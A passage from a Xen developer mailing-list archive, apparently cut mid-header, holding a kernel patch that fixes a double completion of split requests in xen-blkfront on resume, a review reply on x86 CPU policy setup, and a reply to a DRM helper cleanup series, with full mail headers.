	linux-block@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	Doruk Tan Ozturk <doruk@0sec.ai>
Subject: [PATCH] xen-blkfront: fix double completion of split requests on resume
Date: Sun,  5 Jul 2026 13:56:39 +0200
Message-ID: <20260705115639.72805-1-doruk@0sec.ai>
X-Mailer: git-send-email 2.53.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1783252603-4D1027C5-1EABFEDE/0/0
X-purgate-type: clean
X-purgate-size: 2670

When a block request is too large for a single ring entry and the
backend does not support indirect descriptors, blkfront splits it
across two ring requests.  blkif_ring_get_request() is called twice
and both shadow slots (shadow[id] and shadow[extra_id]) are made to
point at the *same* struct request, linked together through
associated_id.

On the normal completion path blkif_completion() collapses the pair:
it recycles the second slot via add_id_to_freelist() and only completes
the request once.  The suspend/resume path in blkfront_resume() does
not.  It walks every physical shadow slot and, for each slot whose
->request is set, calls blk_mq_end_request() or re-queues
->request.  For an in-flight split request this visits the shared
struct request twice, so on resume/migration the same request is
ended (or re-queued) two times.  The second visit is a double
blk_mq_end_request() (refcount underflow / double free) and a
use-after-free read of req->bio, which was cleared on the first visit.

Skip the secondary slot of a split request in the resume walk, so each
logical request is completed or re-queued exactly once, matching how
blkif_completion() already treats the pair.  The secondary slot is the
one that is linked (associated_id != NO_ASSOCIATED_ID) and carries no
scatter-gather list (num_sg == 0); the first slot always keeps the
scatter-gather list.

This was found by 0sec automated security-research tooling
(https://0sec.ai).  The bug is only reachable on suspend/resume or live
migration of a guest whose backend lacks indirect-descriptor support, so
it has no local reproducer; the fix is by source inspection against the
existing blkif_completion() collapse logic.

Fixes: 6cc568339047 ("xen/blkfront: Handle non-indirect grant with 64KB pages")
Assisted-by: 0sec:claude-opus-4-8
Signed-off-by: Doruk Tan Ozturk <doruk@0sec.ai>
---
 drivers/block/xen-blkfront.c | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/drivers/block/xen-blkfront.c b/drivers/block/xen-blkfront.c
index f765970578f9..b2e83fd0c77b 100644
--- a/drivers/block/xen-blkfront.c
+++ b/drivers/block/xen-blkfront.c
@@ -2079,6 +2079,15 @@ static int blkfront_resume(struct xenbus_device *dev)
 			if (!shadow[j].request)
 				continue;
 
+			/*
+			 * Split requests alias one request across two shadow
+			 * slots; skip the sg-less secondary so it completes
+			 * once, like blkif_completion() does.
+			 */
+			if (shadow[j].associated_id != NO_ASSOCIATED_ID &&
+			    shadow[j].num_sg == 0)
+				continue;
+
 			/*
 			 * Get the bios in the request so we can re-queue them.
 			 */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 07:07:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 07:07:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355060.1609855 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgdPv-0007jM-4p; Mon, 06 Jul 2026 07:06:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355060.1609855; Mon, 06 Jul 2026 07:06:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgdPv-0007jF-2B; Mon, 06 Jul 2026 07:06:59 +0000
Received: by outflank-mailman (input) for mailman id 1355060;
 Mon, 06 Jul 2026 07:06:58 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wgdPu-0007j9-CT
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 07:06:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgdPs-002EKk-Tv
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 09:06:56 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4b540c-e002-0a2a0a5209dd-0a2a45029d48-10
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 09:06:56 +0200
Received: from [209.85.221.53] (helo=mail-wr1-f53.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4b5410-5a27-0a2a45020019-d155dd35f19a-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 09:06:56 +0200
Received: by mail-wr1-f53.google.com with SMTP id
 ffacd0b85a97d-475881b9a4bso2265699f8f.3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 00:06:56 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9b4d850dsm23116278f8f.0.2026.07.06.00.06.55
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 06 Jul 2026 00:06:55 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783321616; x=1783926416; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ixgw4sga4KdnrbZMauOznZXsvGKJMRN7WaUBDWbAfwY=;
        b=GI0OBi1jg5xYPpgI7ogz1kjHQSOfKuLH56AwW23jJFAz3Tq8GjK2fewLZgpB19U6nj
         RBF8XIMnMHYoclevsOkv5M/R29RsMwscrfmNqZQbqfXy6dEKC6oP12MS7yED1ByulxBs
         gCoGdXJsa48kNFF77s/ivB3OANr6WeexO/dyMpB+Bsq+q/fWnFAJshlgnvc+hgoNIeIi
         sVfrbnNuSm6fMvwToGc4hEx8gYRKobRwqzhNxUyqYpJtfzDe9lwYQuCoFsZxTUpjpVWK
         k8AZcGE7zbjKuhEW9Sr5N72Dl2G1ia2oZBbBqHKSaTJHaOt1pVrqfJ/ZMy3NgckvM4hr
         alYw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783321616; x=1783926416;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ixgw4sga4KdnrbZMauOznZXsvGKJMRN7WaUBDWbAfwY=;
        b=Ml9PXB+5VdHMhbV5u3d6IU4/Jiip5t52gqtJ8qte6q+wMylQXBJ5ntjf7zFIyQSJ9W
         LIQk0gddjq/oBeu8BmWDUbfvkyGSVkMe7hqujipnfuL4lFp/S0yrTlydev1YrqR/zLIO
         x/Qzc266FfcOT7IlQvTk8iUptKo/SxY1TGi6OpvtdmMmR67SheIXFQvR5h11jBJyHQiT
         yRAENgpGM75dQltlmsvBxbLZxoGpLSP+XPQ4jpkhu5SaUWsVCvod6VXO3+hSsp3MWv9r
         vl5t9tvKsAWH9oTWSyaKuYcO7lKXi5QpPH7i5gnYVkasSP15BKD7+Wca7OkuGc+Wt3nz
         f54g==
X-Forwarded-Encrypted: i=1; AHgh+RrKMrvzMdb81Yxic6ZSLNzxPV0hZuudemGn5wNKQ0JIs8rAgtZRQxtgYxMsZl4Bql9zwAcZBuUvXhw=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yykfv/xuysDnrZJGwKivBVEhuev9szgFUUcnNT9PV0KNfFGOYpY
	Dm4fQzRwxEvHQpbV8Qh3LJ7P+iMrEKjUqWxbnzGseqTz2ZLV0MmH2FSTUWXN5fFl4Q==
X-Gm-Gg: AfdE7cn3j/EcTLFOPMwNZvIGdt0w+sIYgsH4qYN+2FDJFxC6JEeZclKBDHhiwKQQALc
	tZoP0kxwWI30FFF9YZgHWYDQJSA9H1Evi9Kn+VCtiXB5uRgvqHrAuLoMEX8/Zvb/KFXxGkTSNjc
	iacHxRKDD/2VBLNgcGzdhraC8Qzhw2TNIPW6JLkq8VudmxSxsvNPHlHyyCjl+pCU3RZyj/AkQ19
	GejfUOHtXnffS02d4LUpePKK0TON19ZvfJdvTexyQnkhPpEdmaI/VRYOieVxy64o4ox2w8QTxV8
	fCDgn9dVcDZ3A8NupQWptKFMTCLLIyVLvEnzZy9oM7YOExMbLuVEJdo3jjbTw3ueh28FOMUicz/
	cA8TrmDswWNd8GO+vEAgufx+0gelqAX131wLn/AC5sZ8t22UrcM5LhFmXwyv5Zltm/RvOzUk+7N
	LY+n6e+lm5fhk06RQ1jHf9A1pnzDvT4ebWaCuVJFai4NPIPpoZsLdKgS00l2qR2l5D2AeWkDCi8
	8yi
X-Received: by 2002:adf:f004:0:b0:473:6e8d:7f3 with SMTP id ffacd0b85a97d-47aab57d2acmr6745984f8f.1.1783321616053;
        Mon, 06 Jul 2026 00:06:56 -0700 (PDT)
Message-ID: <083d91f7-af98-473c-89d2-363e69248b0b@suse.com>
Date: Mon, 6 Jul 2026 09:06:54 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 for-4.22] x86/cpu-policy: set up host policy earlier
To: Teddy Astie <teddy.astie@vates.tech>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <b329e8d1-5f6b-445d-acbd-d60a2d644c1a@suse.com>
 <1783085859.8631fc262581453bbf619ec5b2062170.19f2833024000080a8@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I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pnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1783085859.8631fc262581453bbf619ec5b2062170.19f2833024000080a8@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1783321616-771127C5-BD4AC79B/0/0
X-purgate-type: clean
X-purgate-size: 1749

On 03.07.2026 15:37, Teddy Astie wrote:
> Le 03/07/2026 Ã  08:28, Jan Beulich a Ã©critÂ :
>> --- a/xen/arch/x86/include/asm/cpu-policy.h
>> +++ b/xen/arch/x86/include/asm/cpu-policy.h
>> @@ -30,4 +30,10 @@ void recalculate_cpuid_policy(struct dom
>>    */
>>   void calculate_raw_cpu_policy(void);
>>   
>> +/*
>> + * Collect the host CPU policy.  Called after collecting enough CPUID output,
>> + * and again after all feature overrides have been put in place.
>> + */
>> +void calculate_host_cpu_policy(void);
>> +
>>   #endif /* X86_CPU_POLICY_H */
>>
> 
> That looks quite confusing.
> 
> As I understand it, (ideally) host CPU policy (which I suppose, contains 
> "non synthetic" cpu featureset) is about the CPUID info that Xen is 
> allowed to see and rely on, while "synthetic CPU capabilities" is more 
> about Xen decisions.

I'm not sure what the long term plans are here. Likely synthetic bits need
to remain separate from the policy, yes. Yet I don't see how synthetic bits
matter here - x86_cpu_featureset_to_policy() doesn't consume any of the
synthetic parts (those covered by X86_NR_SYNTH and X86_NR_BUG).

> If "cpu featureset info" and "host cpu policy" can get out of sync, then 
> recalculating host cpu policy each time we make a modification of the 
> cpu featureset sounds like a bad idea, and we probably should try to not 
> end up in this situation in the first place by not having host CPU 
> policy and featureset competing on what hardware feature Xen should rely on.

Well, that'll require a lot of work, as effectively to avoid this the
duplication needs to go away. Hence adjusting the policy when the featureset
changes is (imo) the least bad option for the time being.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 06 07:27:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 07:27:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355070.1609866 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgdk6-0002EE-Pj; Mon, 06 Jul 2026 07:27:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355070.1609866; Mon, 06 Jul 2026 07:27:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgdk6-0002E7-Lk; Mon, 06 Jul 2026 07:27:50 +0000
Received: by outflank-mailman (input) for mailman id 1355070;
 Mon, 06 Jul 2026 07:27:50 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <tzimmermann@suse.de>) id 1wgdk5-0002E1-Tl
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 07:27:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgdk4-008kHC-R5
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 09:27:48 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a4b58f4-bab6-0a2a0a5309dd-0a2a4504dbea-0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 09:27:48 +0200
Received: from [195.135.223.131] (helo=smtp-out2.suse.de)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a4b58f4-a01d-0a2a45040019-c387df83ad7c-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 09:27:48 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out2.suse.de (Postfix) with ESMTPS id 3F04575D1A;
 Mon,  6 Jul 2026 07:27:48 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id A3D21779AA;
 Mon,  6 Jul 2026 07:27:47 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id WgXvJfNYS2pBcQAAD6G6ig
 (envelope-from <tzimmermann@suse.de>); Mon, 06 Jul 2026 07:27:47 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783322868; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=+2Djb0q9WRkslYZbyJ71zpFQjsAPKkL2tq9BmdbU6nU=;
	b=0wpOaniIIGdIp6z0GgnhUgcX7Ud0CNlgNZsCsQlsgePgV/syB4GI+NetQO74Bu88DWebkJ
	JV4RcnUvOxIyYy8sZyMKhb2UP77fMvZEMirZrApFrnCjD5L+0SYMYo+ZFQQ5lID32YXDF1
	lItEzeSK46VQqsmy5ExgcL0vPlIuQ7Y=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783322868;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=+2Djb0q9WRkslYZbyJ71zpFQjsAPKkL2tq9BmdbU6nU=;
	b=vRZoMy4mlXVDCDDzBHVKqK0jVdeF3GKGuTQBv6rpUASi6BEc+d8w4iSN5qdOKqb9Ez4Cpc
	/dCOcX9RcSAElJAA==
Authentication-Results: smtp-out2.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783322868; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=+2Djb0q9WRkslYZbyJ71zpFQjsAPKkL2tq9BmdbU6nU=;
	b=0wpOaniIIGdIp6z0GgnhUgcX7Ud0CNlgNZsCsQlsgePgV/syB4GI+NetQO74Bu88DWebkJ
	JV4RcnUvOxIyYy8sZyMKhb2UP77fMvZEMirZrApFrnCjD5L+0SYMYo+ZFQQ5lID32YXDF1
	lItEzeSK46VQqsmy5ExgcL0vPlIuQ7Y=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783322868;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=+2Djb0q9WRkslYZbyJ71zpFQjsAPKkL2tq9BmdbU6nU=;
	b=vRZoMy4mlXVDCDDzBHVKqK0jVdeF3GKGuTQBv6rpUASi6BEc+d8w4iSN5qdOKqb9Ez4Cpc
	/dCOcX9RcSAElJAA==
Message-ID: <9612bb41-db52-4169-a7fa-e57268d69e24@suse.de>
Date: Mon, 6 Jul 2026 09:27:47 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 0/9] drm: replace simple display pipe users with atomic
 helpers
To: Ze Huang <ze.huang@oss.qualcomm.com>,
 Alexey Brodkin <abrodkin@synopsys.com>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Joel Stanley <joel@jms.id.au>,
 Andrew Jeffery <andrew@codeconstruct.com.au>, Frank Li <Frank.Li@nxp.com>,
 Sascha Hauer <s.hauer@pengutronix.de>,
 Pengutronix Kernel Team <kernel@pengutronix.de>,
 Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
 Hans de Goede <hansg@kernel.org>, Alex Lanzano <lanzano.alex@gmail.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
 linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
 imx@lists.linux.dev, xen-devel@lists.xenproject.org
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
Content-Language: en-US
From: Thomas Zimmermann <tzimmermann@suse.de>
Autocrypt: addr=tzimmermann@suse.de; keydata=
 xsBNBFs50uABCADEHPidWt974CaxBVbrIBwqcq/WURinJ3+2WlIrKWspiP83vfZKaXhFYsdg
 XH47fDVbPPj+d6tQrw5lPQCyqjwrCPYnq3WlIBnGPJ4/jreTL6V+qfKRDlGLWFjZcsrPJGE0
 BeB5BbqP5erN1qylK9i3gPoQjXGhpBpQYwRrEyQyjuvk+Ev0K1Jc5tVDeJAuau3TGNgah4Yc
 hdHm3bkPjz9EErV85RwvImQ1dptvx6s7xzwXTgGAsaYZsL8WCwDaTuqFa1d1jjlaxg6+tZsB
 9GluwvIhSezPgnEmimZDkGnZRRSFiGP8yjqTjjWuf0bSj5rUnTGiyLyRZRNGcXmu6hjlABEB
 AAHNJ1Rob21hcyBaaW1tZXJtYW5uIDx0emltbWVybWFubkBzdXNlLmRlPsLAjgQTAQgAOAIb
 AwULCQgHAgYVCgkICwIEFgIDAQIeAQIXgBYhBHIX+6yM6c9jRKFo5WgNwR1TC3ojBQJftODH
 AAoJEGgNwR1TC3ojx1wH/0hKGWugiqDgLNXLRD/4TfHBEKmxIrmfu9Z5t7vwUKfwhFL6hqvo
 lXPJJKQpQ2z8+X2vZm/slsLn7J1yjrOsoJhKABDi+3QWWSGkaGwRJAdPVVyJMfJRNNNIKwVb
 U6B1BkX2XDKDGffF4TxlOpSQzdtNI/9gleOoUA8+jy8knnDYzjBNOZqLG2FuTdicBXblz0Mf
 vg41gd9kCwYXDnD91rJU8tzylXv03E75NCaTxTM+FBXPmsAVYQ4GYhhgFt8S2UWMoaaABLDe
 7l5FdnLdDEcbmd8uLU2CaG4W2cLrUaI4jz2XbkcPQkqTQ3EB67hYkjiEE6Zy3ggOitiQGcqp
 j//OwE0EWznS4AEIAMYmP4M/V+T5RY5at/g7rUdNsLhWv1APYrh9RQefODYHrNRHUE9eosYb
 T6XMryR9hT8XlGOYRwKWwiQBoWSDiTMo/Xi29jUnn4BXfI2px2DTXwc22LKtLAgTRjP+qbU6
 3Y0xnQN29UGDbYgyyK51DW3H0If2a3JNsheAAK+Xc9baj0LGIc8T9uiEWHBnCH+RdhgATnWW
 GKdDegUR5BkDfDg5O/FISymJBHx2Dyoklv5g4BzkgqTqwmaYzsl8UxZKvbaxq0zbehDda8lv
 hFXodNFMAgTLJlLuDYOGLK2AwbrS3Sp0AEbkpdJBb44qVlGm5bApZouHeJ/+n+7r12+lqdsA
 EQEAAcLAdgQYAQgAIAIbDBYhBHIX+6yM6c9jRKFo5WgNwR1TC3ojBQJftOH6AAoJEGgNwR1T
 C3ojVSkIALpAPkIJPQoURPb1VWjh34l0HlglmYHvZszJWTXYwavHR8+k6Baa6H7ufXNQtThR
 yIxJrQLW6rV5lm7TjhffEhxVCn37+cg0zZ3j7zIsSS0rx/aMwi6VhFJA5hfn3T0TtrijKP4A
 SAQO9xD1Zk9/61JWk8OysuIh7MXkl0fxbRKWE93XeQBhIJHQfnc+YBLprdnxR446Sh8Wn/2D
 Ya8cavuWf2zrB6cZurs048xe0UbSW5AOSo4V9M0jzYI4nZqTmPxYyXbm30Kvmz0rYVRaitYJ
 4kyYYMhuULvrJDMjZRvaNe52tkKAvMevcGdt38H4KSVXAylqyQOW5zvPc4/sq9c=
In-Reply-To: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Spamd-Result: default: False [-2.80 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	SUSPICIOUS_RECIPS(1.50)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	NEURAL_HAM_SHORT(-0.20)[-0.997];
	MIME_GOOD(-0.10)[text/plain];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	DKIM_SIGNED(0.00)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	FREEMAIL_TO(0.00)[oss.qualcomm.com,synopsys.com,linux.intel.com,kernel.org,gmail.com,ffwll.ch,jms.id.au,codeconstruct.com.au,nxp.com,pengutronix.de,epam.com];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	MIME_TRACE(0.00)[0:+];
	ARC_NA(0.00)[];
	RCPT_COUNT_TWELVE(0.00)[22];
	FREEMAIL_ENVRCPT(0.00)[gmail.com];
	RCVD_TLS_ALL(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	TAGGED_RCPT(0.00)[];
	MID_RHS_MATCH_FROM(0.00)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.com:url,qualcomm.com:email,imap1.dmz-prg2.suse.org:helo]
X-Spam-Level: 
X-Spam-Score: -2.80
X-purgate-ID: tlsNG-ebf023/1783322868-2DFA21CC-B12700DB/0/0
X-purgate-type: clean
X-purgate-size: 4096

Hi

Am 04.07.26 um 20:31 schrieb Ze Huang:
> struct drm_simple_display_pipe was meant to simplify simple DRM
> drivers, but instead adds an extra wrapper around normal DRM atomic
> helper setup. As noted in Documentation/gpu/todo.rst, remaining users
> should be converted to regular atomic helpers and stop depending on the
> simple-KMS interfaces.
>
> This series converts the following drivers:
>
>    - arcpgu
>    - aspeed
>    - imx lcdc
>    - mcde
>    - pl111
>    - gm12u320
>    - repaper
>    - tve200
>    - xen frontend
>
> Each patch replaces drm_simple_display_pipe_init() with explicit
> primary plane, CRTC and encoder setup, and moves the old simple-pipe
> callbacks into regular plane and CRTC helper callbacks named according
> to local driver conventions.
>
> The conversions preserve helper behavior that used to be implicit in
> drm_simple_kms_helper.c, including plane-state validation, CRTC
> primary-plane checks, affected-plane propagation, framebuffer prepare
> handling, and existing event/vblank flow where applicable.
>
> Result is less helper indirection and more explicit driver-side atomic
> wiring, with no remaining simple-KMS dependency in these drivers.
>
> These changes are build-tested only. No hardware testing has been
> performed on the affected devices.

Thanks a lot for the series. That's quite a nice cleanup.Â  Did you use 
any AI to create these patches?

Best regards
Thomas

>
> This series is based on drm-next-2026-06-27.
>
> Thanks,
> Ze Huang
>
> Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
> ---
> Ze Huang (9):
>        drm/arcpgu: replace struct drm_simple_display_pipe with regular atomic helpers
>        drm/aspeed: replace struct drm_simple_display_pipe with regular atomic helpers
>        drm/imx: replace struct drm_simple_display_pipe with regular atomic helpers
>        drm/mcde: replace struct drm_simple_display_pipe with regular atomic helpers
>        drm/pl111: replace struct drm_simple_display_pipe with regular atomic helpers
>        drm/gm12u320: replace struct drm_simple_display_pipe with regular atomic helpers
>        drm/repaper: replace struct drm_simple_display_pipe with regular atomic helpers
>        drm/tve200: replace struct drm_simple_display_pipe with regular atomic helpers
>        drm/xen: replace struct drm_simple_display_pipe with regular atomic helpers
>
>   drivers/gpu/drm/aspeed/aspeed_gfx.h      |   5 +-
>   drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c | 156 ++++++++++++++++------
>   drivers/gpu/drm/aspeed/aspeed_gfx_drv.c  |   3 +-
>   drivers/gpu/drm/imx/lcdc/imx-lcdc.c      | 178 ++++++++++++++++++-------
